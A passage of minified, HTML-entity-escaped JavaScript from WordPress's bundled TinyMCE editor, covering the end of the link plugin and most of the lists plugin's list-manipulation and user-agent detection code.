link&quot;,onclick:P(t),onpostrender:Y(t)}),t.addContextToolbar&amp;&amp;t.addButton(&quot;openlink&quot;,{icon:&quot;newtab&quot;,tooltip:&quot;Open link&quot;,onclick:X(t)})},ot=function(t){t.addMenuItem(&quot;openlink&quot;,{text:&quot;Open link&quot;,icon:&quot;newtab&quot;,onclick:X(t),onPostRender:Z(t),prependToContext:!0}),t.addMenuItem(&quot;link&quot;,{icon:&quot;link&quot;,text:&quot;Link&quot;,shortcut:&quot;Meta+K&quot;,onclick:G(t),stateSelector:&quot;a[href]&quot;,context:&quot;insert&quot;,prependToContext:!0}),t.addMenuItem(&quot;unlink&quot;,{icon:&quot;unlink&quot;,text:&quot;Remove link&quot;,onclick:P(t),stateSelector:&quot;a[href]&quot;})},it=function(t){t.addContextToolbar&amp;&amp;t.addContextToolbar(Q(t),&quot;openlink | link unlink&quot;)};t.add(&quot;link&quot;,function(t){nt(t),ot(t),it(t),W(t),tt(t),et(t)})}(window);
// Source: wp-includes/js/tinymce/plugins/lists/plugin.min.js
!function(u){&quot;use strict&quot;;var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),d=tinymce.util.Tools.resolve(&quot;tinymce.dom.RangeUtils&quot;),l=tinymce.util.Tools.resolve(&quot;tinymce.dom.TreeWalker&quot;),m=tinymce.util.Tools.resolve(&quot;tinymce.util.VK&quot;),p=tinymce.util.Tools.resolve(&quot;tinymce.dom.BookmarkManager&quot;),v=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),g=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),h=function(e){return e&amp;&amp;&quot;BR&quot;===e.nodeName},y=function(e){return e&amp;&amp;3===e.nodeType},N=function(e){return e&amp;&amp;/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&amp;&amp;/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&amp;&amp;/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&amp;&amp;/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&amp;&amp;/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&amp;&amp;!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&amp;&amp;e.nodeName in n},D=function(e,n){return!!h(n)&amp;&amp;!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&amp;&amp;0&lt;e.select(&quot;span[data-mce-type=bookmark]&quot;,n).length)&amp;&amp;r},k=function(e,n){return e.isChildOf(n,e.getRoot())},A=function(e,n){if(y(e))return{container:e,offset:n};var t=d.getNode(e,n);return y(t)?{container:t,offset:n&gt;=e.childNodes.length?t.data.length:0}:t.previousSibling&amp;&amp;y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&amp;&amp;y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?&quot;startContainer&quot;:&quot;endContainer&quot;],r=o[e?&quot;startOffset&quot;:&quot;endOffset&quot;],1===t.nodeType&amp;&amp;(n=R.create(&quot;span&quot;,{&quot;data-mce-type&quot;:&quot;bookmark&quot;}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?&quot;startContainer&quot;:&quot;endContainer&quot;]=t,i[e?&quot;startOffset&quot;:&quot;endOffset&quot;]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?&quot;startContainer&quot;:&quot;endContainer&quot;],t=o[e?&quot;startOffset&quot;:&quot;endOffset&quot;],n&amp;&amp;(1===n.nodeType&amp;&amp;(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&amp;&amp;&quot;bookmark&quot;===n.getAttribute(&quot;data-mce-type&quot;)||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&amp;&amp;R.isBlock(n)&amp;&amp;n.appendChild(R.create(&quot;br&quot;))),o[e?&quot;startContainer&quot;:&quot;endContainer&quot;]=n,o[e?&quot;startOffset&quot;:&quot;endOffset&quot;]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&amp;&amp;n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;n&lt;arguments.length;n++)e[n]=arguments[n];return!t.apply(null,e)}},U=P(!1),F=P(!0),j=function(){return H},H=(e=function(e){return e.isNone()},r={fold:function(e,n){return e()},is:U,isSome:U,isNone:F,getOr:t=function(e){return e},getOrThunk:n=function(e){return e()},getOrDie:function(e){throw new Error(e||&quot;error: getOrDie called on none.&quot;)},getOrNull:P(null),getOrUndefined:P(undefined),or:t,orThunk:n,map:j,each:B,bind:j,exists:U,forall:F,filter:j,equals:e,equals_:e,toArray:function(){return[]},toString:P(&quot;none()&quot;)},Object.freeze&amp;&amp;Object.freeze(r),r),$=function(t){var e=P(t),n=function(){return o},r=function(e){return e(t)},o={fold:function(e,n){return n(t)},is:function(e){return t===e},isSome:F,isNone:U,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:n,orThunk:n,map:function(e){return $(e(t))},each:function(e){e(t)},bind:r,exists:r,forall:r,filter:function(e){return e(t)?o:H},toArray:function(){return[t]},toString:function(){return&quot;some(&quot;+t+&quot;)&quot;},equals:function(e){return e.is(t)},equals_:function(e,n){return e.fold(U,function(e){return n(t,e)})}};return o},q={some:$,none:j,from:function(e){return null===e||e===undefined?H:$(e)}},W=function(n){return function(e){return function(e){if(null===e)return&quot;null&quot;;var n=typeof e;return&quot;object&quot;===n&amp;&amp;(Array.prototype.isPrototypeOf(e)||e.constructor&amp;&amp;&quot;Array&quot;===e.constructor.name)?&quot;array&quot;:&quot;object&quot;===n&amp;&amp;(String.prototype.isPrototypeOf(e)||e.constructor&amp;&amp;&quot;String&quot;===e.constructor.name)?&quot;string&quot;:n}(e)===n}},V=W(&quot;string&quot;),z=W(&quot;array&quot;),K=W(&quot;boolean&quot;),X=W(&quot;function&quot;),Q=W(&quot;number&quot;),Y=Array.prototype.slice,G=Array.prototype.push,J=function(e,n){for(var t=e.length,r=new Array(t),o=0;o&lt;t;o++){var i=e[o];r[o]=n(i,o)}return r},Z=function(e,n){for(var t=0,r=e.length;t&lt;r;t++)n(e[t],t)},ee=function(e,n){for(var t=[],r=0,o=e.length;r&lt;o;r++){var i=e[r];n(i,r)&amp;&amp;t.push(i)}return t},ne=function(e,n,t){return Z(e,function(e){t=n(t,e)}),t},te=function(e,n){for(var t=0,r=e.length;t&lt;r;t++){var o=e[t];if(n(o,t))return q.some(o)}return q.none()},re=function(e,n){return function(e){for(var n=[],t=0,r=e.length;t&lt;r;++t){if(!z(e[t]))throw new Error(&quot;Arr.flatten item &quot;+t+&quot; was not an array, input: &quot;+e);G.apply(n,e[t])}return n}(J(e,n))},oe=function(e){return 0===e.length?q.none():q.some(e[0])},ie=function(e){return 0===e.length?q.none():q.some(e[e.length-1])},ue=(X(Array.from)&amp;&amp;Array.from,&quot;undefined&quot;!=typeof u.window?u.window:Function(&quot;return this;&quot;)()),se=function(e,n){return function(e,n){for(var t=n!==undefined&amp;&amp;null!==n?n:ue,r=0;r&lt;e.length&amp;&amp;t!==undefined&amp;&amp;null!==t;++r)t=t[e[r]];return t}(e.split(&quot;.&quot;),n)},ae=function(e,n){var t=se(e,n);if(t===undefined||null===t)throw new Error(e+&quot; not available on this browser&quot;);return t},ce=function(e){var n,t=se(&quot;ownerDocument.defaultView&quot;,e);return(n=t,ae(&quot;HTMLElement&quot;,n)).prototype.isPrototypeOf(e)},fe=tinymce.util.Tools.resolve(&quot;tinymce.dom.DomQuery&quot;),de=function(e){var n=e.selection.getStart(!0);return e.dom.getParent(n,&quot;OL,UL,DL&quot;,me(e,n))},le=function(e){var t,n,r,o=e.selection.getSelectedBlocks();return v.grep((t=e,n=o,r=v.map(n,function(e){var n=t.dom.getParent(e,&quot;li,dd,dt&quot;,me(t,e));return n||e}),fe.unique(r)),function(e){return O(e)})},me=function(e,n){var t=e.dom.getParents(n,&quot;TD,TH&quot;);return 0&lt;t.length?t[0]:e.getBody()},ge=function(e,n){var t=e.dom.getParents(n,&quot;ol,ul&quot;,me(e,n));return ie(t)},pe=function(n,e){var t=J(e,function(e){return ge(n,e).getOr(e)});return fe.unique(t)},ve={isList:function(e){var n=de(e);return ce(n)},getParentList:de,getSelectedSubLists:function(e){var n,t,r,o=de(e),i=e.selection.getSelectedBlocks();return r=i,(t=o)&amp;&amp;1===r.length&amp;&amp;r[0]===t?(n=o,v.grep(n.querySelectorAll(&quot;ol,ul,dl&quot;),function(e){return N(e)})):v.grep(i,function(e){return N(e)&amp;&amp;o!==e})},getSelectedListItems:le,getClosestListRootElm:me,getSelectedDlItems:function(e){return ee(le(e),C)},getSelectedListRoots:function(e){var n,t,r,o=(t=ge(n=e,n.selection.getStart()),r=ee(n.selection.getSelectedBlocks(),S),t.toArray().concat(r));return pe(e,o)}},he=function(e){if(null===e||e===undefined)throw new Error(&quot;Node cannot be null or undefined&quot;);return{dom:P(e)}},ye={fromHtml:function(e,n){var t=(n||u.document).createElement(&quot;div&quot;);if(t.innerHTML=e,!t.hasChildNodes()||1&lt;t.childNodes.length)throw u.console.error(&quot;HTML does not have a single root node&quot;,e),new Error(&quot;HTML must have a single root node&quot;);return he(t.childNodes[0])},fromTag:function(e,n){var t=(n||u.document).createElement(e);return he(t)},fromText:function(e,n){var t=(n||u.document).createTextNode(e);return he(t)},fromDom:he,fromPoint:function(e,n,t){var r=e.dom();return q.from(r.elementFromPoint(n,t)).map(he)}},Ne=function(e,n,t){return e.isSome()&amp;&amp;n.isSome()?q.some(t(e.getOrDie(),n.getOrDie())):q.none()},Se=Object.keys,Ce=function(){return ae(&quot;Node&quot;)},Oe=function(e,n,t){return 0!=(e.compareDocumentPosition(n)&amp;t)},be=function(e,n){return Oe(e,n,Ce().DOCUMENT_POSITION_CONTAINED_BY)},Te=function(e,n){var t=function(e,n){for(var t=0;t&lt;e.length;t++){var r=e[t];if(r.test(n))return r}return undefined}(e,n);if(!t)return{major:0,minor:0};var r=function(e){return Number(n.replace(t,&quot;$&quot;+e))};return Le(r(1),r(2))},Ee=function(){return Le(0,0)},Le=function(e,n){return{major:e,minor:n}},De={nu:Le,detect:function(e,n){var t=String(n).toLowerCase();return 0===e.length?Ee():Te(e,t)},unknown:Ee},we=&quot;Firefox&quot;,ke=function(e,n){return function(){return n===e}},Ae=function(e){var n=e.current;return{current:n,version:e.version,isEdge:ke(&quot;Edge&quot;,n),isChrome:ke(&quot;Chrome&quot;,n),isIE:ke(&quot;IE&quot;,n),isOpera:ke(&quot;Opera&quot;,n),isFirefox:ke(we,n),isSafari:ke(&quot;Safari&quot;,n)}},xe={unknown:function(){return Ae({current:undefined,version:De.unknown()})},nu:Ae,edge:P(&quot;Edge&quot;),chrome:P(&quot;Chrome&quot;),ie:P(&quot;IE&quot;),opera:P(&quot;Opera&quot;),firefox:P(we),safari:P(&quot;Safari&quot;)},Re=&quot;Windows&quot;,Ie=&quot;Android&quot;,_e=&quot;Solaris&quot;,Be=&quot;FreeBSD&quot;,Pe=function(e,n){return function(){return n===e}},Me=function(e){var n=e.current;return{current:n,version:e.version,isWindows:Pe(Re,n),isiOS:Pe(&quot;iOS&quot;,n),isAndroid:Pe(Ie,n),isOSX:Pe(&quot;OSX&quot;,n),isLinux:Pe(&quot;Linux&quot;,n),isSolaris:Pe(_e,n),isFreeBSD:Pe(Be,n)}},Ue={unknown:function(){return Me({current:undefined,version:De.unknown()})},nu:Me,windows:P(Re),ios:P(&quot;iOS&quot;),android:P(Ie),linux:P(&quot;Linux&quot;),osx:P(&quot;OSX&quot;),solaris:P(_e),freebsd:P(Be)},Fe=function(e,n){var t=String(n).toLowerCase();return te(e,function(e){return e.search(t)})},je=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},He=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},$e=function(e,n){return-1!==e.indexOf(n)},qe=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,We=function(n){return function(e){return $e(e,n)}},Ve=[{name:&quot;Edge&quot;,versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return $e(e,&quot;edge/&quot;)&amp;&amp;$e(e,&quot;chrome&quot;)&amp;&amp;$e(e,&quot;safari&quot;)&amp;&amp;$e(e,&quot;applewebkit&quot;)}},{name:&quot;Chrome&quot;,versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,qe],search:function(e){return $e(e,&quot;chrome&quot;)&amp;&amp;!$e(e,&quot;chromeframe&quot;)}},{name:&quot;IE&quot;,versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return $e(e,&quot;msie&quot;)||$e(e,&quot;trident&quot;)}},{name:&quot;Opera&quot;,versionRegexes:[qe,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:We(&quot;opera&quot;)},{name:&quot;Firefox&quot;,versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:We(&quot;firefox&quot;)},{name:&quot;Safari&quot;,versionRegexes:[qe,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return($e(e,&quot;safari&quot;)||$e(e,&quot;mobile/&quot;))&amp;&amp;$e(e,&quot;applewebkit&quot;)}}],ze=[{name:&quot;Windows&quot;,search:We(&quot;win&quot;),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:&quot;iOS&quot;,search:function(e){return $e(e,&quot;iphone&quot;)||$e(e,&quot;ipad&quot;)},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:&quot;Android&quot;,search:We(&quot;android&quot;),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:&quot;OSX&quot;,search:We(&quot;os x&quot;),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:&quot;Linux&quot;,search:We(&quot;linux&quot;),versionRegexes:[]},{name:&quot;Solaris&quot;,search:We(&quot;sunos&quot;),versionRegexes:[]},{name:&quot;FreeBSD&quot;,search:We(&quot;freebsd&quot;),versionRegexes:[]}],Ke={browsers:P(Ve),oses:P(ze)},Xe=function(e){var n,t,r,o,i,u,s,a,c,f,d,l=Ke.browsers(),m=Ke.oses(),g=je(l,e).fold(xe.unknown,xe.nu),p=He(m,e).fold(Ue.unknown,Ue.nu);return{browser:g,os:p,deviceType:(t=g,r=e,o=(n=p).isiOS()&amp;&amp;!0===/ipad/i.test(r),i=n.isiOS()&amp;&amp;!o,u=n.isAndroid()&amp;&amp;3===n.version.major,s=n.isAndroid()&amp;&amp;4===n.version.major,a=o||u||s&amp;&amp;!0===/mobile/i.test(r),c=n.isiOS()||n.isAndroid(),f=c&amp;&amp;!a,d=t.isSafari()&amp;&amp;n.isiOS()&amp;&amp;!1===/safari/i.test(r),{isiPad:P(o),isiPhone:P(i),isTablet:P(a),isPhone:P(f),isTouch:P(c),isAndroid:n.isAndroid,isiOS:n.isiOS,isWebView:P(d)})}},Qe={detect:(o=function(){var e=u.navigator.userAgent;return Xe(e)},s=!1,function(){for(var e=[],n=0;n&lt;arguments.length;n++)e[n]=arguments[n];return s||(s=!0,i=o.apply(null,e)),i})},Ye=(u.Node.ATTRIBUTE_NODE,u.Node.CDATA_SECTION_NODE,u.Node.COMMENT_NODE,u.Node.DOCUMENT_NODE,u.Node.DOCUMENT_TYPE_NODE,u.Node.DOCUMENT_FRAGMENT_NODE,u.Node.ELEMENT_NODE),Ge=(u.Node.TEXT_NODE,u.Node.PROCESSING_INSTRUCTION_NODE,u.Node.ENTITY_REFERENCE_NODE,u.Node.ENTITY_NODE,u.Node.NOTATION_NODE,Ye),Je=function(e,n){return e.dom()===n.dom()},Ze=Qe.detect().browser.isIE()?function(e,n){return be(e.dom(),n.dom())}:function(e,n){var t=e.dom(),r=n.dom();return t!==r&amp;&amp;t.contains(r)},en=function(e,n){var t=e.dom();if(t.nodeType!==Ge)return!1;var r=t;if(r.matches!==undefined)return r.matches(n);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(n);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(n);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(n);throw new Error(&quot;Browser lacks native selectors&quot;)},nn=function(e){return q.from(e.dom().parentNode).map(ye.fromDom)},tn=function(e){return J(e.dom().childNodes,ye.fromDom)},rn=function(e,n){var t=e.dom().childNodes;return q.from(t[n]).map(ye.fromDom)},on=function(e){return rn(e,0)},un=function(e){return rn(e,e.dom().childNodes.length-1)},sn=(function(){for(var e=[],n=0;n&lt;arguments.length;n++)e[n]=arguments[n]}(&quot;element&quot;,&quot;offset&quot;),function(n,t){nn(n).each(function(e){e.dom().insertBefore(t.dom(),n.dom())})}),an=function(e,n){e.dom().appendChild(n.dom())},cn=function(n,e){Z(e,function(e){an(n,e)})},fn=function(e){var n=e.dom();null!==n.parentNode&amp;&amp;n.parentNode.removeChild(n)},dn=function(e){return e.dom().nodeName.toLowerCase()},ln=(a=Ye,function(e){return e.dom().nodeType===a}),mn=function(e,n){var t=e.dom();!function(e,n){for(var t=Se(e),r=0,o=t.length;r&lt;o;r++){var i=t[r];n(e[i],i)}}(n,function(e,n){!function(e,n,t){if(!(V(t)||K(t)||Q(t)))throw u.console.error(&quot;Invalid call to Attr.set. Key &quot;,n,&quot;:: Value &quot;,t,&quot;:: Element &quot;,e),new Error(&quot;Attribute value was not simple&quot;);e.setAttribute(n,t+&quot;&quot;)}(t,n,e)})},gn=function(e){return ne(e.dom().attributes,function(e,n){return e[n.name]=n.value,e},{})},pn=function(e,n,t){if(!V(t))throw u.console.error(&quot;Invalid call to CSS.set. Property &quot;,n,&quot;:: Value &quot;,t,&quot;:: Element &quot;,e),new Error(&quot;CSS value must be a string: &quot;+t);var r;(r=e).style!==undefined&amp;&amp;X(r.style.getPropertyValue)&amp;&amp;e.style.setProperty(n,t)},vn=function(e){return n=e,t=!0,ye.fromDom(n.dom().cloneNode(t));var n,t},hn=function(e,n){var t,r,o,i,u=(t=e,r=n,o=ye.fromTag(r),i=gn(t),mn(o,i),o);sn(e,u);var s=tn(e);return cn(u,s),fn(e),u},yn=function(e,n){an(e.item,n.list)},Nn=function(f,e,d){var n=e.slice(0,d.depth);return ie(n).each(function(e){var n,t,r,o,i,u,s,a,c=(n=f,t=d.itemAttributes,r=d.content,o=ye.fromTag(&quot;li&quot;,n),mn(o,t),cn(o,r),o);u=c,an((i=e).list,u),i.item=u,a=d,dn((s=e).list)!==a.listType&amp;&amp;(s.list=hn(s.list,a.listType)),mn(s.list,a.listAttributes)}),n},Sn=function(e,n,t){var r,o=function(e,n,t){for(var r,o,i,u=[],s=0;s&lt;t;s++)u.push((r=e,o=n.listType,i={list:ye.fromTag(o,r),item:ye.fromTag(&quot;li&quot;,r)},an(i.list,i.item),i));return u}(e,t,t.depth-n.length);return function(e){for(var n=1;n&lt;e.length;n++)yn(e[n-1],e[n])}(o),function(e,n){for(var t=0;t&lt;e.length-1;t++)r=e[t].item,o=&quot;list-style-type&quot;,i=&quot;none&quot;,u=r.dom(),pn(u,o,i);var r,o,i,u;ie(e).each(function(e){mn(e.list,n.listAttributes),mn(e.item,n.itemAttributes),cn(e.item,n.content)})}(o,t),r=o,Ne(ie(n),oe(r),yn),n.concat(o)},Cn=function(e){return en(e,&quot;OL,UL&quot;)},On=function(e){return on(e).map(Cn).getOr(!1)},bn=function(e){return 0&lt;e.depth},Tn=function(e){return e.isSelected},En=function(e){var n=tn(e),t=un(e).map(Cn).getOr(!1)?n.slice(0,-1):n;return J(t,vn)},Ln=Object.prototype.hasOwnProperty,Dn=(c=function(e,n){return n},function(){for(var e=new Array(arguments.length),n=0;n&lt;e.length;n++)e[n]=arguments[n];if(0===e.length)throw new Error(&quot;Can&#039;t merge zero objects&quot;);for(var t={},r=0;r&lt;e.length;r++){var o=e[r];for(var i in o)Ln.call(o,i)&amp;&amp;(t[i]=c(t[i],o[i]))}return t}),wn=function(n){Z(n,function(r,e){(function(e,n){for(var t=e[n].depth,r=n-1;0&lt;=r;r--){if(e[r].depth===t)return q.some(e[r]);if(e[r].depth&lt;t)break}return q.none()})(n,e).each(function(e){var n,t;t=e,(n=r).listType=t.listType,n.listAttributes=Dn({},t.listAttributes)})})},kn=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return kn(t())}}},An=function(i,u,s,a){return on(a).filter(Cn).fold(function(){u.each(function(e){Je(e.start,a)&amp;&amp;s.set(!0)});var n,t,r,e=(n=a,t=i,r=s.get(),nn(n).filter(ln).map(function(e){return{depth:t,isSelected:r,content:En(n),itemAttributes:gn(n),listAttributes:gn(e),listType:dn(e)}}));u.each(function(e){Je(e.end,a)&amp;&amp;s.set(!1)});var o=un(a).filter(Cn).map(function(e){return xn(i,u,s,e)}).getOr([]);return e.toArray().concat(o)},function(e){return xn(i,u,s,e)})},xn=function(n,t,r,e){return re(tn(e),function(e){return(Cn(e)?xn:An)(n+1,t,r,e)})},Rn=tinymce.util.Tools.resolve(&quot;tinymce.Env&quot;),In=function(e,n){var t,r,o,i,u=e.dom,s=e.schema.getBlockElements(),a=u.createFragment();if(e.settings.forced_root_block&amp;&amp;(o=e.settings.forced_root_block),o&amp;&amp;((r=u.create(o)).tagName===e.settings.forced_root_block&amp;&amp;u.setAttribs(r,e.settings.forced_root_block_attrs),L(n.firstChild,s)||a.appendChild(r)),n)for(;t=n.firstChild;){var c=t.nodeName;i||&quot;SPAN&quot;===c&amp;&amp;&quot;bookmark&quot;===t.getAttribute(&quot;data-mce-type&quot;)||(i=!0),L(t,s)?(a.appendChild(t),r=null):o?(r||(r=u.create(o),a.appendChild(r)),r.appendChild(t)):a.appendChild(t)}return e.settings.forced_root_block?i||Rn.ie&amp;&amp;!(10&lt;Rn.ie)||r.appendChild(u.create(&quot;br&quot;,{&quot;data-mce-bogus&quot;:&quot;1&quot;})):a.appendChild(u.create(&quot;br&quot;)),a},_n=function(i,e){return J(e,function(e){var n,t,r,o=(n=e.content,r=(t||u.document).createDocumentFragment(),Z(n,function(e){r.appendChild(e.dom())}),ye.fromDom(r));return ye.fromDom(In(i,o.dom()))})},Bn=function(e,n){return wn(n),(t=e.contentDocument,r=n,o=ne(r,function(e,n){return n.depth&gt;e.length?Sn(t,e,n):Nn(t,e,n)},[]),oe(o).map(function(e){return e.list})).toArray();var t,r,o},Pn=function(e){var n,t,r=J(ve.getSelectedListItems(e),ye.fromDom);return Ne(te(r,M(On)),te((n=r,(t=Y.call(n,0)).reverse(),t),M(On)),function(e,n){return{start:e,end:n}})},Mn=function(s,e,a){var n,t,r,o=(n=e,t=Pn(s),r=kn(!1),J(n,function(e){return{sourceList:e,entries:xn(0,t,r,e)}}));Z(o,function(e){var n,t,r,o,i,u;n=e.entries,t=a,Z(ee(n,Tn),function(e){return function(e,n){switch(e){case&quot;Indent&quot;:n.depth++;break;case&quot;Outdent&quot;:n.depth--;break;case&quot;Flatten&quot;:n.depth=0}}(t,e)}),r=e.sourceList,i=s,u=e.entries,o=re(function(e,n){if(0===e.length)return[];for(var t=n(e[0]),r=[],o=[],i=0,u=e.length;i&lt;u;i++){var s=e[i],a=n(s);a!==t&amp;&amp;(r.push(o),o=[]),t=a,o.push(s)}return 0!==o.length&amp;&amp;r.push(o),r}(u,bn),function(e){return oe(e).map(bn).getOr(!1)?Bn(i,e):_n(i,e)}),Z(o,function(e){sn(r,e)}),fn(e.sourceList)})},Un=g.DOM,Fn=function(e,n,t){var r,o,i,u,s,a;for(i=Un.select(&#039;span[data-mce-type=&quot;bookmark&quot;]&#039;,n),s=In(e,t),(r=Un.createRng()).setStartAfter(t),r.setEndAfter(n),u=(o=r.extractContents()).firstChild;u;u=u.firstChild)if(&quot;LI&quot;===u.nodeName&amp;&amp;e.dom.isEmpty(u)){Un.remove(u);break}e.dom.isEmpty(o)||Un.insertAfter(o,n),Un.insertAfter(s,n),w(e.dom,t.parentNode)&amp;&amp;(a=t.parentNode,v.each(i,function(e){a.parentNode.insertBefore(e,t.parentNode)}),Un.remove(a)),Un.remove(t),w(e.dom,n)&amp;&amp;Un.remove(n)},jn=function(e){en(e,&quot;dt&quot;)&amp;&amp;hn(e,&quot;dd&quot;)},Hn=function(r,e,n){Z(n,&quot;Indent&quot;===e?jn:function(e){return n=r,void(en(t=e,&quot;dd&quot;)?hn(t,&quot;dt&quot;):en(t,&quot;dt&quot;)&amp;&amp;nn(t).each(function(e){return Fn(n,e.dom(),t.dom())}));var n,t})},$n=function(e,n){var t=J(ve.getSelectedListRoots(e),ye.fromDom),r=J(ve.getSelectedDlItems(e),ye.fromDom),o=!1;if(t.length||r.length){var i=e.selection.getBookmark();Mn(e,t,n),Hn(e,n,r),e.selection.moveToBookmark(i),e.selection.setRng(x(e.selection.getRng())),e.nodeChanged(),o=!0}return o},qn=function(e){return $n(e,&quot;Indent&quot;)},Wn=function(e){return $n(e,&quot;Outdent&quot;)},Vn=function(e){return $n(e,&quot;Flatten&quot;)},zn=function(t,e){v.each(e,function(e,n){t.setAttribute(n,e)})},Kn=function(e,n,t){var r,o,i,u,s,a,c;r=e,o=n,u=(i=t)[&quot;list-style-type&quot;]?i[&quot;list-style-type&quot;]:null,r.setStyle(o,&quot;list-style-type&quot;,u),s=e,zn(a=n,(c=t)[&quot;list-attributes&quot;]),v.each(s.select(&quot;li&quot;,a),function(e){zn(e,c[&quot;list-item-attributes&quot;])})},Xn=function(e,n,t,r){var o,i;for(o=n[t?&quot;startContainer&quot;:&quot;endContainer&quot;],i=n[t?&quot;startOffset&quot;:&quot;endOffset&quot;],1===o.nodeType&amp;&amp;(o=o.childNodes[Math.min(i,o.childNodes.length-1)]||o),!t&amp;&amp;T(o.nextSibling)&amp;&amp;(o=o.nextSibling);o.parentNode!==r;){if(E(e,o))return o;if(/^(TD|TH)$/.test(o.parentNode.nodeName))return o;o=o.parentNode}return o},Qn=function(f,d,l){void 0===l&amp;&amp;(l={});var e,n=f.selection.getRng(!0),m=&quot;LI&quot;,t=ve.getClosestListRootElm(f,f.selection.getStart(!0)),g=f.dom;&quot;false&quot;!==g.getContentEditable(f.selection.getNode())&amp;&amp;(&quot;DL&quot;===(d=d.toUpperCase())&amp;&amp;(m=&quot;DT&quot;),e=I(n),v.each(function(t,e,r){for(var o,i=[],u=t.dom,n=Xn(t,e,!0,r),s=Xn(t,e,!1,r),a=[],c=n;c&amp;&amp;(a.push(c),c!==s);c=c.nextSibling);return v.each(a,function(e){if(E(t,e))return i.push(e),void(o=null);if(u.isBlock(e)||T(e))return T(e)&amp;&amp;u.remove(e),void(o=null);var n=e.nextSibling;p.isBookmarkNode(e)&amp;&amp;(E(t,n)||!n&amp;&amp;e.parentNode===r)?o=null:(o||(o=u.create(&quot;p&quot;),e.parentNode.insertBefore(o,e),i.push(o)),o.appendChild(e))}),i}(f,n,t),function(e){var n,t,r,o,i,u,s,a,c;(t=e.previousSibling)&amp;&amp;N(t)&amp;&amp;t.nodeName===d&amp;&amp;(r=t,o=l,i=g.getStyle(r,&quot;list-style-type&quot;),u=o?o[&quot;list-style-type&quot;]:&quot;&quot;,i===(u=null===u?&quot;&quot;:u))?(n=t,e=g.rename(e,m),t.appendChild(e)):(n=g.create(d),e.parentNode.insertBefore(n,e),n.appendChild(e),e=g.rename(e,m)),s=g,a=e,c=[&quot;margin&quot;,&quot;margin-right&quot;,&quot;margin-bottom&quot;,&quot;margin-left&quot;,&quot;margin-top&quot;,&quot;padding&quot;,&quot;padding-right&quot;,&quot;padding-bottom&quot;,&quot;padding-left&quot;,&quot;padding-top&quot;],v.each(c,function(e){var n;return s.setStyle(a,((n={})[e]=&quot;&quot;,n))}),Kn(g,n,l),Gn(f.dom,n)}),f.selection.setRng(_(e)))},Yn=function(e,n,t){return a=t,(s=n)&amp;&amp;a&amp;&amp;N(s)&amp;&amp;s.nodeName===a.nodeName&amp;&amp;(i=n,u=t,(o=e).getStyle(i,&quot;list-style-type&quot;,!0)===o.getStyle(u,&quot;list-style-type&quot;,!0))&amp;&amp;(r=t,n.className===r.className);var r,o,i,u,s,a},Gn=function(e,n){var t,r;if(t=n.nextSibling,Yn(e,n,t)){for(;r=t.firstChild;)n.appendChild(r);e.remove(t)}if(t=n.previousSibling,Yn(e,n,t)){for(;r=t.lastChild;)n.insertBefore(r,n.firstChild);e.remove(t)}},Jn=function(n,e,t,r,o){if(e.nodeName!==r||Zn(o)){var i=I(n.selection.getRng(!0));v.each([e].concat(t),function(e){!function(e,n,t,r){if(n.nodeName!==t){var o=e.rename(n,t);Kn(e,o,r)}else Kn(e,n,r)}(n.dom,e,r,o)}),n.selection.setRng(_(i))}else Vn(n)},Zn=function(e){return&quot;list-style-type&quot;in e},et={toggleList:function(e,n,t){var 